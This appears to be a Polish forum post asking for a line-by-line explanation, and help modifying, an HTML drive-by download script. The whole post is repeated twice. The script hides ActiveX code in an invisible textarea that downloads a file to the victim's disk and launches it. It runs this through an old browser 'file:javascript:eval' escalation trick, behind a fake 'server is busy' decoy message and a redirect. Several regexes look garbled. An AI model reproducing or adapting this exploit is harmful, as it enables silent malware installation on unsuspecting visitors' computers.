Witam. Czy mógł by mi ktoś objaśnić ten skrypt. Tak abym wiedział za co poszczególna linijka kodu odpowiada i jak bym mógł go modyfikować aby np. zapisywał pliki w folderach a nie w innych plikach. Oto scrpyt:
<HTML>
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "adres pliku do zaladowania ;]",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("adres w którym ma sie zapisac (pliku))",2);
location.href = "adres pliku do otwarcia podczas urchomienia strony";
</textarea>
TUTAJ MOŻEMY COŚ DODAĆ [np. Server is extremely busy at this moment. Please wait when server generate mirror for you...]
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/rn/);
for (i=0;i<lines.length;i++) {
line = lines;
line = line.replace(/^s+/,"");
line = line.replace(/s+$/,"");
line = line.replace(/'/g,"'");
line = line.replace(/[]/g,"");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line + 'rn';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:java script:eval('" + mycode + "')";
window.open(myURL,"_media");
}
window.open("adres pliku do otwarcia podczas urchomienia strony");
setTimeout("doit()", 1000);
</script>
<script>function go(){ self.location.href='strona ktora sie wyswietli po zaladowaniu pliku'; }
setTimeout('go()',10000); </script>
</HTML>
Z góry THX.
<HTML>
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "adres pliku do zaladowania ;]",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("adres w którym ma sie zapisac (pliku))",2);
location.href = "adres pliku do otwarcia podczas urchomienia strony";
</textarea>
TUTAJ MOŻEMY COŚ DODAĆ [np. Server is extremely busy at this moment. Please wait when server generate mirror for you...]
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/rn/);
for (i=0;i<lines.length;i++) {
line = lines;
line = line.replace(/^s+/,"");
line = line.replace(/s+$/,"");
line = line.replace(/'/g,"'");
line = line.replace(/[]/g,"");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line + 'rn';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:java script:eval('" + mycode + "')";
window.open(myURL,"_media");
}
window.open("adres pliku do otwarcia podczas urchomienia strony");
setTimeout("doit()", 1000);
</script>
<script>function go(){ self.location.href='strona ktora sie wyswietli po zaladowaniu pliku'; }
setTimeout('go()',10000); </script>
</HTML>
Z góry THX.